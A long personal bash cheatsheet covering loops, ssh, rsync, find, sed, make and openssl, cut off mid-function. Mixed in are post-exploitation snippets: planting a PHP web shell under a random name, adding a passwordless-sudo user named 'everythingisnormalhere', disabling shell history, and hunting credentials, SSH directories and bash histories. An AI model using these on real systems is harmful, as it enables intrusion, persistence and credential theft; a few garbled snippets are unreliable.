Bash Cheatsheet

#!/bin/bash

runtime="5 minute"
endtime=$(date -ud "$runtime" +%s)

while [[ $(date -u +%s) -le $endtime ]]
do
    echo "Time Now: `date +%H:%M:%S`"
    echo "Sleeping for 10 seconds"
    sleep 10
done

item=true
while [ $item = true ]; do echo 'bla'; done

value=""
while [[ -z "$value" ]]; do
    echo "value is empty"
    # here's where we break out
    if [[ "$value" ]]; then
        echo "exiting loop because value has been set to $value"
        break
    fi
done

while read p; do
  echo "$p"
done <file.txt

while read t; do echo "$t"; done <bbh_targets.txt

command | while read -r line; do command "$line"; done

recon asn -t recon_targets.txt | \
  while read -r line; do \
    ([[ $line =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/[0-9]{2}$ ]] \
    && echo $line | anew ip_ranges.txt) || ([[ $line =~ ^[0-9]{5}$ ]] && \
      echo $line | anew asns.txt); done

for i in "$(ls)"; do md5sum "${i}"; done | sort

for COUNT in $(seq 1 10); do
  echo $COUNT
  sleep 1
done

mapfile -t buckets < <(aws s3 ls | grep tf | awk '{print $3}' | tr " " "\n")
for b in "${buckets[@]}"; do echo "TF Bucket: $b"; done

buckets=($(aws s3 ls |grep tf | awk '{print $3}' | tr " " "\n"))
for b in "${buckets[@]}"; do echo "TF Bucket: $b"; done

openssl rsa -des3 -in key.pem -out encrypted-key.pem
# Enter a passphrase
mv encrypted-key.pem key.pem
chmod 400 key.pem

openssl rsa -in key.pem -out key.open.pem
# Enter the passphrase used to encrypt the ke
mv key.open.pem key.pem

ssh -J name_of_host_to_jump_through remote_user@remote_host_ip

Host remote-host
  HostName remote_host_ip
  User remote_user
  ProxyJump name_of_host_to_jump_through

Host jumphost
  HostName jumphost_ip
  User jumphost_user
  # Optional if you are using private keys for auth -
  # this key needs to be on the system you're starting from:
  IdentityFile ~/.ssh/jumphost-ssh-key.pem

Host targethost
  HostName targethost_ip
  User targethost_user
  ProxyJump jumphost
  # Optional if you are using private keys for auth -
  # this key also needs to be on the system you're starting from -
  # it will not work if it's on the jumphost:
  IdentityFile ~/.ssh/targethost-ssh-key.pem

cd /dir/to/start/in

# Directory - 700
chmod 700 ~/.ssh

# Private keys - 600
chmod 600 ~/.ssh/id_rsa

# Config file - 600
chmod 600 ~/.ssh/config

# Public keys - 600 or 644
chmod 600 ~/.ssh/id_rsa.pub

# Make public key readable by others
chmod 644 ~/.ssh/id_rsa.pub

# Make authorized_keys readable by others.
# Should be 600 or 644
chmod 644 ~/.ssh/authorized_keys

sudo systemctl status sshd.service

sudo systemctl restart sshd.service

echo 'GatewayPorts clientspecified' | sudo tee -a /etc/ssh/sshd_config

service ssh restart

ssh -R :3000:localhost:3000 user@$target_server

ssh ubuntu@yoursystem 'sudo apt-get update'

ssh -i ${KEY} ${USER}@${IP} << EOF
export AWS_ACCESS_KEY_ID=${ACCESS_KEY}
export AWS_SECRET_ACCESS_KEY=${SECRET_ACCESS_KEY}
export AWS_SESSION_TOKEN=${SESSION_TOKEN}
curl -sLO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl
aws eks --region ${AWS_REGION} update-kubeconfig --name ${TARGET_CLUSTER}
./kubectl get pods -n ${TARGET_NAMESPACE}
EOF
}

ssh -L 8080:localhost:8080 username@target.server

ssh -N -L 4455:target.server:443 username@bastion

ssh -C -D 8085 username@bastion

ssh -Y user@server
apt install -y eog
eog pictures/foo.png

PORT=2222
scp -P $PORT file user@system

scp -3 -i $PEM_FILE user1@system_with_file:/file/to/xfer user2@system_that_needs_file:/file/to/xfer

Host *
  IdentitiesOnly=yes

sshpass -p 'password123' ssh -o StrictHostKeyChecking=no -N -M -S /tmp/mysock \
  ubuntu@192.168.1.2 &
sleep 2
ssh -S /tmp/mysock ubuntu@192.168.1.2 exit
sleep 2
ssh -S /tmp/mysock -O exit ubuntu@192.168.1.2

scp ubuntu@target:~/.config/cred\*

host1.com
192.168.1.2

for SERVER in $(cat hosts.txt); do
  ssh -i id_rsa -o StrictHostKeyChecking=no -o BatchMode=yes \
    user@$SERVER exit && echo OK $SERVER || echo ERR $SERVER
done

KEY_NAME=CUSTOM_KEY
ssh-keygen -t ed25519 -C "Key Description" -f "${KEY_NAME}" -N ''

ssh-keygen -y -f ~/.ssh/id_rsa > ~/.ssh/id_rsa.pub

grep sshd.\*Accepted /var/log/auth.log

grep sshd.\*Failed /var/log/auth.log

Port 6022
HostKey /tmp/sshd_config/host_rsa
PasswordAuthentication yes
PermitRootLogin no

TARGET_HOST=some-system
ssh-keygen -R $TARGET_HOST

# The man page explanation for --gecos isn't that intuitive IMO
# Basically specifying --gecos "" states you don't want to ask
# for real name, phone, etc.
USERNAME=everythingisnormalhere
adduser --disabled-password --gecos "" "${USERNAME}"
touch "/etc/sudoers.d/10_${USERNAME}"
echo "${USERNAME} ALL=(ALL) NOPASSWD:ALL" > "/etc/sudoers.d/10_${USERNAME}"

export -f <function_name>
su <user to run function as> -c "bash -c <function_name>"

USER=centos
runuser -l $USER -c 'whoami'

unzip -v $FILE_NAME.zip

unzip package.zip -d /opt

FILE=bla.txt
less -r $FILE

---
bobs:
  password: "${bobs_password}"
  username: "${bobs_username}"
  machines: "${bobs_machines}"

export sample="Hello Yaml!"
export bobs_machines="10.2.3.4"
export bobs_username="nats"
export bobs_password="password"
rm -f final.yml temp.yml
( echo "cat <<EOF >final.yml";
  cat template.yml;
  echo "EOF";
) >temp.yml
. temp.yml
cat final.yml

python3 -c 'import yaml, sys; yaml.safe_load(sys.stdin)' < file.yml

cat file.json | jq

my_func() {

}

cool_var='great'

export SOMETHING="variable"

great_function() {
    echo $SOMETHING
}

FOO='bar'
USERNAME='user'

echo "hi" | wall

rsync --partial --progress filename.txt user@ipaddress_or_hostname:~

rsync -azvhe ssh --progress local_dir_to_copy user@192.168.1.2:remote_copy_of_dir

rsync -azvhe ssh --progress user@192.168.1.2:~/dir_to_copy_to_local local_copy_of_remote_dir

rsync -rv --append-verify --dry-run folder_to_sync_from/ /home/ubuntu/folder_to_sync_to

IP=192.168.1.56
DIRS=(/Users/user/dir1 /Users/user/dir2 /Users/user/.dotfiles /Users/user/dir3)

for DIR in "${DIRS[@]}"; do
    echo "Transferring remote directory ${DIR}, please wait."
    rsync -avzh --progress "user@${IP}:${DIR}" .
    echo "Transfer of remote directory ${DIR} complete!"
done

split -b 1000m vm.ova vm.ova.split

cat vm.ova.splita* > vm.ova

timeout 3 nc google.com 80; echo exit=$?

HOSTNAME_OR_IP=system.mydomain.com
PORT=5432
# -z: report connectivity status only
# -w1: wait one second and then give up
nc -z -w1 $HOSTNAME_OR_IP $PORT

HOSTNAME_OR_IP=system.mydomain.com
PORT=5432
# -e X: set escape character to X
echo X | telnet -e X $HOSTNAME_OR_IP $PORT

if grep -q SomeString "$FILE"; then
  # SomeString was found
fi

if ls someFile* 1> /dev/null 2>&1; then
  rm someFile*
fi

if command -v cowsay 2>/dev/null && ! command -v gshuf 2>/dev/null; then
  # do things if cowsay is installed but gshuf isn't
fi

if [[ ! -f "some/file.txt" ]]; then
  # do things if the file is not there
fi

if [ ! -f /tmp/foo.txt ]; then echo "File not found!"; else echo "file found"; fi

[[ -d dir ]] || mkdir dir

FILE='/etc/passwd'
sort "${FILE}" | uniq -c

sudo -u root /bin/bash -c 'pushd "$HOME/.some_directory/"; ls -lart; popd'

sudo DEBIAN_FRONTEND=noninteractive apt install -yq [packagename]

history | awk '{a[$2]++;next}END{for (i in a){print i " --> " a[i]}}' \
  | sort -nr -k3

sudo apt install --reinstall <package> -y

rm -rf /var/lib/apt/lists/*; apt update

apt clean; apt update

last -F > /tmp/last

export HISTFILE=

export HISTFILE=0

mount |grep nfs

lastlog

lastlog |grep -v "Never"

showmount -e localhost

netstat -pan |grep ESTABLISHED

if [[ $(wc -l file) == *3* ]]; then
  echo "There are three lines in file"
fi

printf "\n" >> file.txt

strace /bin/ls

PID=5
strace -p "${PID}" -e write

strace -e write /bin/ls

BIN="$(which ls)"
objdump -d "${BIN}" | tee binary_output.txt

du -sh *

du -hsx * | sort -rh | head -10

ktutil -kt file.keytab list

kinit <username> -k -t /where/to/store/keytab/nameofkeytab.keytab

launchctl list | grep -v com

grep -v ".git\|.terraform"

grep -Ev 'pattern1|pattern2|pattern3' file

cat file.txt | grep gmail.com | \
  egrep -o '\w+@gmail.com' | uniq -u

grep -lrnw "thing to search for" .

grep -rnlw "stringtofind" .

grep -i -r 'mystring' --include "*.yml"

openssl req \
    -x509 \
    -nodes \
    -newkey rsa:4096 \
    -keyout server.key \
    -out server.crt \
    -days 3650 \
    -subj "/C=US/ST=Oregon/L=Portland/O=Company Name/OU=Org/CN=www.example.com"Department/CN=*"

extract() {
  if [[ -f "${1}" ]] ; then
      case "${1}" in
          *.tar.bz2)   tar xvjf   "${1}"    ;;
          *.tar.gz)    tar xvzf   "${1}"    ;;
          *.bz2)       bunzip2    "${1}"    ;;
          *.rar)       rar x      "${1}"    ;;
          *.gz)        gunzip     "${1}"    ;;
          *.tar)       tar xvf    "${1}"    ;;
          *.tbz2)      tar xvjf   "${1}"    ;;
          *.tgz)       tar xvzf   "${1}"    ;;
          *.zip)       unzip      "${1}"    ;;
          *.Z)         uncompress "${1}"  ;;
          *.7z)        7z x       "${1}"  ;;
          *)           echo "don't know how to extract ${1}..." ;;
      esac
  else
      echo "${1} is not a valid file!"
  fi
}

tar -xf archive.tar -C /target/directory

name="directory_name"
tar -czvf "$name".tar.gz $name

zip -r unenc.zip original_file
openssl enc -in unenc.zip -aes-256-cbc -e > enc.zip
# enter password when prompted

rm unenc.zip

openssl enc -in enc.zip -aes-256-cbc -d > unenc.zip
# enter password when prompted
unzip unenc.zip

sort inputFile | uniq -u > outputfile

head -n -1 foo.txt > temp.txt ; mv temp.txt foo.txt

BLUE="\033[01;34m"
status=$(curl -s -o /dev/null -w "%{http_code}" http://target.com)
echo -e "${BLUE}$status${RESET}"

curl -L http://google.com

curl -i http://google.com

curl -s http://google.com

curl http://target.com/upload -F "fileUpload=@test.txt" -vvv

curl -X POST http://localhost:4999/target \
  -d "param1=value1&param2=value2"

curl http://target.com/puppet-linux \
  -o puppet-linux \
  -vvvv \
  --noproxy target.com

TER_VAR=1.1.9
OS=linux
ARCH=amd64
DL_URL="https://releases.hashicorp.com/terraform/${TER_VER}/terraform_${TER_VER}_${OS}_${ARCH}.zip"

curl ${DL_URL}" -L --output "${HOME}/Downloads/terraform_${TER_VER}_linux_amd64.zip"

curl -X GET http://google.com --proxy http://localhost:8080

curl -m 3 http://www.google.com

date -r "${STR}"

date -r 1530279830

curl http://www.cyberciti.biz/
lynx -dump www.cyberciti.biz
wget -O - http://www.cyberciti.biz

cat file.txt | grep ENC | xargs --null eyaml decrypt -s

openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 \
  -nodes -out key.crt -keyout key.key

CMD='date'
while true; do
  "${CMD}"; sleep 2; \
done

CMD='date'
watch "${CMD}"

MIN=1
for i in $(seq $(($MIN*60)) -1 1); do
  echo -n "$i, "; sleep 1; \
done

echo "thing" | base64 -w 0

echo 'stringtodecode' | base64 -d

if [[ -z "${1}" ]]; then
    echo -e "No input provided, exiting.\n"
    exit 1
else
  echo "input is ${1}"
fi

if [[ $## -ne 4 ]]; then
   echo 'Required vars missing'
   return 1
fi

IP=192.168.1.6
ssh-keyscan -H "${IP}" >> "${HOME}/.ssh/known_hosts"

if [[ -z $1 ]]; then
  echo "Usage: $0 <ip address>"
  exit
else
  if [[ $1 =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
    echo "Valid IP input, doing things with $1"
  else
    echo "Invalid IP input"
    exit
  fi
fi

check_input() {
  if [[ -z $1 ]]; then
    echo "Usage: $0 <ip address>"
    exit
  else
    if [[ $1 =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
      echo "Valid IP input, doing things with $1"
    else
      echo "Invalid IP input"
      exit
    fi
  fi
}

# Pass input from $1 to function
check_input $1

if [[ "${1}" != "puppet" ]] && \
   [[ "${1}" != "chef" ]] || \
   [[ -z "${1}" ]]; then
  echo "Usage: $0 <CM target>"
  exit
fi

if [[ "${EUID}" -ne 0 ]]; then
  echo "Please run as root"
  exit
fi

if [[ -f "${CONTROL_NODE_FILES}/authorized_keys" ]] || \
   [[ -f "${MANAGED_NODE_FILES}/authorized_keys" ]] || \
   [[ -f "${MANAGED_NODE_FILES}/${KEY_NAME}" ]] || \
   [[ -f "${MANAGED_NODE_FILES}/${KEY_NAME}.pub" ]] || \
   [[ -f "${CONTROL_NODE_FILES}/${KEY_NAME}" ]] || \
   [[ -f "${CONTROL_NODE_FILES}/${KEY_NAME}.pub" ]]; then
        echo -e \
          "${YELLOW}
          Found existing SSH key pair, skipping the key pair generation step.
          ${RESET}"
fi

ufw status

ufw allow 46666/tcp

ufw allow 'OpenSSH'

ufw allow 'Apache Full'

ufw disable

ufw enable

PORT_TO_LISTEN_ON=80
nc -lvk "${PORT_TO_LISTEN_ON}"

LC_ALL=C tr -dc 'A-Za-z0-9' < /dev/urandom | head -c 13 ; echo ''

wget https://github.com/artyuum/Simple-PHP-Web-Shell/blob/master/index.php \
   -O "/var/www/html/$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '').php"

r1=$((1 + $RANDOM % 10))
echo $r1

tr -d '\n'

mkdir /tmp/{d1,d2,d3}

# Add this to the user's crontab (crontab -e):
* * * * *   /usr/bin/env > /home/username/tmp/cron-env
# If root user:
* * * * * /usr/bin/env > /root/tmp/cron-env
# Create run-as-cron.sh
echo -e '##!/bin/bash\n/usr/bin/env -i $(cat /home/username/tmp/cron-env) "$@"' \
  > run-as-cron.sh
# Run the script to test it
run-as-cron /the/problematic/script --with arguments --and parameters

create_daily_service_restart() {
  cron_job_loc='/etc/cron.daily/restart_service.sh'
  # Create and set permissions for cron job
  echo "$(which systemctl) restart service" > "${cron_job_loc}"
  chmod +x "${cron_job_loc}"
}

# Enable cron-specific log
sed -i 's/##cron/cron/' /etc/rsyslog.d/50-default.conf

crontab -u $USERNAME -l

# This will remove dashes, newlines and spaces
name=$(date | md5sum | tr -d '-' | tr -d '\n' | tr -d ' ')
if cp -R orig "$name"; then
  echo "Created $name"
fi

cp {file.txt,file2.txt,file3.txt} dst_folder

cp -r {dir1,dir2,dir3} dst_folder

netstat -nrl

sudo route add <target system> <local IP>

awk 'function hextodec(str,ret,n,i,k,c){
    ret = 0
    n = length(str)
    for (i = 1; i <= n; i++) {
        c = tolower(substr(str, i, 1))
        k = index("123456789abcdef", c)
        ret = ret * 16 + k
    }
    return ret
}
function getIP(str,ret){
    ret=hextodec(substr(str,index(str,":")-2,2));
    for (i=5; i>0; i-=2) {
        ret = ret"."hextodec(substr(str,i,2))
    }
    ret = ret":"hextodec(substr(str,index(str,":")+1,4))
    return ret
}
NR > 1 {{if(NR==2)print "Local - Remote";local=getIP($2);remote=getIP($3)}\
  {print local" - "remote}}' /proc/net/tcp

ip route get <target>

ip route get 8.8.8.8

trimmed_string=$(echo "no_trimmed_string" | xargs)

awk '{$1=$1;print}'

| awk '{$1=""; print $0}'

awk -F '/' '{print $0}'

alias getIP="ifconfig eth0 |grep inet6 |grep global | head -n1 | awk '{print \$2}'"

echo "foo-123" | awk -F- '{print $NF}'
# Will output 123

du -hsx

find . -iname '*.hcl' -exec grep -rnw "prod" {} \; -maxdepth 2 \
  | awk -F : '{print $1}' | xargs code

find . -type f -iname '*.yaml' -o -iname '*.yml' -o -iname '*.yml.tpl' \
  | grep -v "submodule_folder\|.terraform" | xargs -I {} cat {} \
  | python3 -c 'import yaml, sys; yaml.safe_load(sys.stdin)'

files=$(find . -type f -iname '*.yaml' -o -iname '*.yml' -o -iname '*.yml.tpl' \
  | grep -v "submodule_folder\|.terraform"); \
  for file in $files; do \
    echo "Testing ${file}" && cat ${file} \
    | python3 -c 'import yaml, sys; yaml.safe_load(sys.stdin)'; done

find . -type f -iname "*.json" -type f \
  | grep -v "submodule_folder\|.terraform" \
  | xargs -I{} jq . "{}" > /dev/null

find . -type f | perl -ne 'print $1 if m/\.([^.\/]+)$/' | sort -u

find . -iname "thing to find" -exec grep -rnw "term to search" {} \; | tee filename

find . -iname "*.py" -exec grep -rnw "git" {} \; | tee git

find . -iname "*.tar.gz" -exec zgrep "STRING" {} \;

find . -name '*.tar.gz' -print0 | xargs -0 zgrep "STRING"

TARGET_DIR='.terragrunt-cache'
find . -iname "${TARGET_DIR}" -exec rm -rf {} +

find . -iname "*.go" | xargs sed -i 's/toreplace/replaced/g'

find . -iname "*.go" | xargs gsed -i 's/toreplace/replaced/g'

find . -iname "*.bin" -exec strings "{}" \; | tee combined_strings_output.txt

find . -type d -name "thingtosearchfor*" -print 2>/dev/null

find /etc -name "passwd"

find . -iname ".bash_history" -exec cat {} \; | tee ~/bash_histories.txt

find . -maxdepth 1 -type d -perm -u=rx

find . -maxdepth 1 -type d -perm -u=rx -exec ls -lart {} + 2>/dev/null

find . -maxdepth 1 -type d -perm -u=rx -print0 \
  | xargs -0 -I{} find '{}' -readable -iname '.bash_history' 2>/dev/null

find . -maxdepth 1 -type d -perm -u=rx -print0 \
  | xargs -0 -I{} find '{}' -readable -type d -iname '.ssh' 2>/dev/null

find . -maxdepth 1 -type d -perm -u=rx \
  | xargs ls -lart 2>/dev/null |grep .ssh | grep "^.r..r..r"

find . -name .bash_history -print -exec grep ssh {} \;

find . -name "*.go"

for i in `locate -r "bin$"`; do
  find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done \
  | tee /tmp/out.txt &

find . -name "config.xml" -exec grep -iE "<secret|<password|<credential" {} + \
  | uniq -u

find . -name "*.csv" -exec rm {} +

find . -name "*.json" -exec rm {} \;

find . -maxdepth 1 -perm -111 -type f

find /\(-perm -o w -perm -o x\) -type d 2>/dev/null

find "/path/to/dir" -type f -exec rm /path/to/dir/* {} \;

find . -type f -not -name "*.template.*" -not -name "*.settings.*"

find . -type f -not -name "*.template.*" -not -name "*.settings.*" \
  | xargs grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" | sort -u

find . -name '*.yaml' -or -name '*.yml'

find . -iname '*.js' -print0 | xargs -0 tar -cf /tmp/js.tar

mkdir /tmp/java_files && \
  find . -iname '*.jar' -or -name '*.class' -exec cp {} /tmp/java_files \;
tar -czvf /tmp/java_files.tar.gz /tmp/java_files

wget https://www.benf.org/other/cfr/cfr-0.151.jar
for file in java_files/*; do
  java -Xmx2048m -jar cfr-0.151.jar $file \
  --outputdir output --caseinsensitivefs true; done

find . -iname "*.js" -exec cp {} ./all_js \;

find . -iname '*.yaml' -o -iname "*.yml" -type f

find . -type f -exec grep -l "letsencrypt" {} +

find . -type f -name "*_peaks.bed" ! -path "./tmp/*" ! -path "./scripts/*"

minutes=2
find . -mmin "-${minutes}" -type f -print

find Documents \( -name "*.py" -o -name "*.html" \)

cat output.csv | awk '{print $2}'

wget --mirror            \
     --convert-links     \
     --html-extension    \
     --wait=2            \
     -o log              \
     http://howisoldmybusiness.com

wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com

sed -i '/\[ssh_connection\]/a retries=2' ansible.cfg

sed -i '$ d' foo.txt

sed -e '5,10d;12d' file.txt

sed -i '' 's/<orig pattern>/<modified>/' file.txt

sed -i 's/<orig pattern>/<modified>/' file.txt

sed -i".orig" 's/<orig pattern>/<modified>/' file.txt

new_str="so new"
sed -i '' "s/staticlineinfile/${new_str}/g" "file/to/change.conf"

new_str="so new"
sed -i "s/staticlineinfile/${new_str}/g" "file/to/change.conf"

new_str="so new"
sed -i".orig" "s/staticlineinfile/${new_str}/g" "file/to/change.conf"

yourcommand1 | sed  's/^/[prefix1]/'

docker ps | awk '{ print $13 }' | grep -o -P "(.*:\d+)" | sed  's/^/http:\/\//'

sed 'Nd' file

sed -i '2d' somefile.txt

sed 'NUMq;d' file

sed '2q;d' somefile.txt

sed -n -e '747,749p' file

sed 's/^/bla/' filename

sed '$!s/$/,/' file

sed "s|regex|replace|" file.txt

echo 'BLA: 51265 - BLA - BLA' | sed -r "s/.*([0-9]{5}).*/\1/"

echo "asdlksad ~ adlkajsd ~ 12345" | sed 's/~/~\n/g'

sed '9,11s/\/\///g' config.js

sed -i '' '9,11s/\/\///g' config.js

rsync -avh --progress /path/to/source/ /path/to/destination

rsync -avh --progress ~/recipes /Volumes/stuff

if echo $(command_to_run) | grep -q "thing to find in output of command"
    then echo "Yay, we found things!"
    else "We didn't find the thing we wanted to find!"; exit 1
fi

chmod u+s <filename>

find . -type f ! -name "*.apk" -exec rm {} \;

pid=$(adb shell ps -A | grep processname | awk -F ' ' '{print $2}')

find /tmp -name "*.apk*" | head -c 2

command="https://google.com/endpoint \
?fields=field1,field2 \
field3&field4=abc&field5=1234xyz"
curl $command

today=`date '+DATE:%m%d%y' | cut -d: -f2`

time=$(date '+TIME:%H%M%S' | cut -d: -f2)

year=$(date | cut -d' ' -f 6)

month_day=$(date '+DATE:%m%d' | cut -d: -f 2)

mkdir `echo $(date +"%c") | tr -s ' ' | tr ' ' '_'`

if [[ $(date +%u) -gt 5 ]]; then
    echo 'Sorry, you cannot run this program on the weekend.'
    exit
fi

systemctl list-unit-files | grep enabled

systemctl $SERVICE_NAME status

XDG_RUNTIME_DIR="/run/user/$UID" systemctl --user status

XDG_RUNTIME_DIR="/run/user/$UID" systemctl --user status file.service

[Service]
Environment="MY_ENV=abc"
Environment="ANOTHER_ENV=zyx"
ExecStart=/opt/myservice -env=true

# Reload units
systemctl daemon-reload
# Start the service
systemctl start myservice
# Confirm everything works as expected
systemctl status myservice

journalctl --follow _SYSTEMD_UNIT=gunicorn.service

sudo lsof -i -P -n | grep LISTEN

zip -r output.zip . -x '*.git*' -x README.md -x Makefile

echo "   lol  " | xargs

sudo lsof -i -P -n |grep LISTEN

sudo ss -tulwn

!!

ls -lart

!! |grep bash_history

ls -lart |grep bash_history

!:1

file $(ldd /bin/ls | grep libc.so | cut -d' ' -f3) -L

!:1

$(ldd /bin/ls | grep libc.so | cut -d' ' -f3)

@echo Things I want to say!

BOOL_VALUE := false
@echo $(BOOL_VALUE)

BUILD_BUCKET := $(shell terraform output build_bucket | tr -d \")
@echo $(BUILD_BUCKET)

# Create phony target to avoid conflict with a file of the
# same name and to improve performance
.PHONY: all
all: build test

# Create phony target to avoid conflict with a file of the
# same name and to improve performance
.PHONY: build
build:
 go build

# Create phony target to avoid conflict with
# a file of the same name and to improve performance
.PHONY: test
test:
 go test -v

make

clear_build_bucket:
    - bucket=my-bucket; \
    aws s3api delete-objects --bucket $${bucket} \
      --delete "$$(aws s3api list-object-versions \
      --bucket $${bucket} \
      --query='{Objects: Versions[].{Key:Key,VersionId:VersionId}}')"; \
    aws s3api delete-objects --bucket $${bucket} \
      --delete "$$(aws s3api list-object-versions \
        --bucket $${bucket} --query='{Objects: DeleteMarkers[].{Key:Key,VersionId:VersionId}}')"

JSON_FILES := $(shell find . -type f -iname "*.json")
lint:
  for json in $(JSON_FILES); do echo "JSON file found: $${json}"; done

REGION := $(shell ls | grep us)
export AWS_DEFAULT_REGION ?= $(REGION)

SHELL=/bin/bash
TF_FILES = .terraform .terragrunt-cache .terraform.lock.hcl

.PHONY: destroy
destroy:
 - terragrunt run-all destroy --terragrunt-non-interactive -lock=false --terragrunt-source-update
 # Clear terragrunt and terraform files
 for file in $(TF_FILES); do find . -name $$file -prune -exec rm -rf {} \; ; done

.PHONY: destroy
destroy:
    - terragrunt run-all destroy --terragrunt-non-interactive
    # Clear terragrunt cache
    find . -type d -name ".terragrunt-cache" -prune -exec rm -rf {} \;
    find . -type d -name ".terraform" -prune -exec rm -rf {} \;

MYVAR ?= default

.PHONY: all

all:
    echo $(MYVAR)

$ make
echo default
default
$ export MYVAR=notDefault
$ make
echo notDefault
notDefault

.PHONY: all
all:
ifeq ($(REGION),)
 echo "REGION not set, exiting!"
 exit 1
else
all: init plan apply
endif

make -C /path/to/makefile

FOLDER=/opt/scripts/installer_of_things
make -C "${FOLDER}"

echo "${ids[@]}" | tr ' ' '\n' | sort -u | tr '\n' ' '

# Will get your IPv4 address:
curl ifconfig.me

# Will get your IPv6 address (if applicable):
wget -O - ifconfig.co 2>/dev/null

tree -a

ps axjf

install_dir='/home/ubuntu/install_here'
mkdir $install_dir
wget <file to download> -P $install_dir

ls -t /home/ubuntu/vnc/vncpass* | head -1

ls -A

awk 'NF {sub(/\r/, ""); printf "%s\\n",$0;}'  ca.pem

openssl x509 -in cert.pem -outform der | base64 -w 64

openssl req \
    -x509 \
    -nodes \
    -newkey rsa:2048 \
    -keyout server.key \
    -out server.crt \
    -days 3650 \
    -subj "/C=GB/ST=London/L=London/O=Global Security/OU=IT Department/CN=yourhostname.com"

openssl x509 -in server.crt -outform der | base64 -w 64

echo quit | openssl s_client -showcerts -servername yourhostname.com \
  -connect yourhostname.com:443 > cacert.pem

curl --cacert cacert.pem -X POST https://yoursite.com/endpoint -d 'data=hi'

GOOGLE=$(curl -s -i https://google.com)
echo $GOOGLE ## fail
echo "$GOOGLE" ## success

diff <(find . -type f -not -name "*.template.*" \
  -not -name "*.settings.*") <(find . -type f -name "*.json*" \
  | grep -P '.*?\d+.json')

curl -k -s -i -X POST --compressed \
    -H "Content-Type: application/json" \
    -d @input.json \
    https://target.com/endpoint

diff -qr directory-1 directory-2

diff -qr goutils goproject | grep -v -E "(*utils.go|*utils_test.go|.git)"

diff -x '.git' -bur directory-1/ directory-2/ | grep -- '---\|Only'

find /proc -mindepth 2 -maxdepth 2 -name exe -exec ls -lh {} \; 2>/dev/null

sudo ss -lptn 'sport = :80'

awk 'function hextodec(str,ret,n,i,k,c){
    ret = 0
    n = length(str)
    for (i = 1; i <= n; i++) {
        c = tolower(substr(str, i, 1))
        k = index("123456789abcdef", c)
        ret = ret * 16 + k
    }
    return ret
}
function getIP(str,ret){
    ret=hextodec(substr(str,index(str,":")-2,2));
    for (i=5; i>0; i-=2) {
        ret = ret"."hextodec(substr(str,i,2))
    }
    ret = ret":"hextodec(substr(str,index(str,":")+1,4))
    return ret
}
NR > 1 {{if(NR==2)print "Local - Remote";local=getIP($2);
remote=getIP($3)}{print local" - "remote}}' /proc/net/tcp

grep -Ff file1.txt file2.txt

grep 'string_to_look_for' . -R 2>/dev/null

RED="\033[01;31m"      # Issues/Errors
GREEN="\033[01;32m"    # Success
BLUE="\033[01;34m"     # Heading
YELLOW='\033[0;33m'    # Informational
RESET="\033[00m"       # Normal

echo -e "${BLUE}Running apt-get update, please wait...${RESET}"
apt-get update -y

FORCE=false

while getopts ':f' option; do
    case "${option}" in
        'f') FORCE=true ;;
    esac
done
shift $(( OPTIND - 1 ))

main() {
    if [[ $FORCE = true ]]; then
        echo "Option f was supplied on the command line"
    else
        echo "Option f was not supplied on the command line"
    fi
}

main

bash sample.sh -f

hostname -f

# set for the example below
BLA='hi'

cat <<EOT >> greetings.txt
line 1
"${BLA}"
"$(whoami)"
line 4
EOT

getent hosts $(<host_list.txt)
dig + short $(<host_list.txt)

ps -ef | more

cp {file1,file2} dest

ifconfig | awk '/UP/{print $1}' | grep 'eth0:\|en0:' | sed 's/://'

if [[ `uname` == 'Darwin' ]]; then
  echo "I am running on MacOS"
else
  echo "I am running on something."
fi

echo 'REPLACED' | xargs -I {} sed -i "s/REPLACE_ME/{}/" file.txt

pub_ip=$(dig @resolver1.opendns.com A myip.opendns.com +short -4)
sed -i -r "s/(\b[0-9]{1,3}\.){3}[0-9]{1,3}\b/$pub_ip/" file.txt

grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" file.txt

# <!-- markdownlint-disable-next-line -->
grep -oE "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt

[[ $date =~ ^regex$ ]] && echo "matched" || echo "did not match"

if [[ -z "$var" ]]
then
      echo "\$var is empty"
else
      echo "\$var is NOT empty"
fi

if [[ -z $(aws s3 ls |grep -i tf-remote-state) ]]; then
echo 'Remote state not configured! Configuring...';
else echo 'Remote state already configured, moving on...'; fi

if [[ -z "${DEPLOY_ENV}" ]]; then
  MY_SCRIPT_VARIABLE="Some default value because DEPLOY_ENV is undefined"
else
  MY_SCRIPT_VARIABLE="${DEPLOY_ENV}"
fi

while /usr/bin/pgrep ansible >/dev/null; do
        echo "ansible is running"
        sleep 1
done
echo 'ansible is not running!'

users=(bob jane clyde)
regex=".*>\s(.*)\s<.*"

for user in "${users[@]}"; do
  line=$(grep "$user favorite food" userdata.txt)
  if [[ $line =~ $regex ]]; then
    echo "$user has a favorite food and it is: ${BASH_REMATCH[1]}"
  fi
done

alias sroot="export SROOT="\$PWD""
alias drumit="cd \$SROOT/abc/def/drumit"

 unalias gs

string="bla1,bla2"
IFS=', ' read -r -a blas <<< "$string"
echo ${blas[0]}

ARRAY=()
## Append foo to $ARRAY:
ARRAY+=('foo')
## Append bar to $ARRAY:
ARRAY+=('bar')

f(){
  b=$1
  shift
  a=("$@")

  for i in "${a[@]}"
  do
    echo $i
  done
  echo $b
}

a=(value1 value2 value3)
b=STANDALONESTRING

f "$b" "${a[@]}"

bash -x name_of_script.sh

exit 0  ## Exits the script completely.  $? contains 0 (success).
exit 1  ## Exits the script completely.  $? contains 1 (failure).

urlencode() {

    old_lc_collate=$LC_COLLATE
    LC_COLLATE=C

    local length="${##1}"
    for (( i = 0; i < length; i++ )); do
        local c="${1:$i:1}"
        case $c in
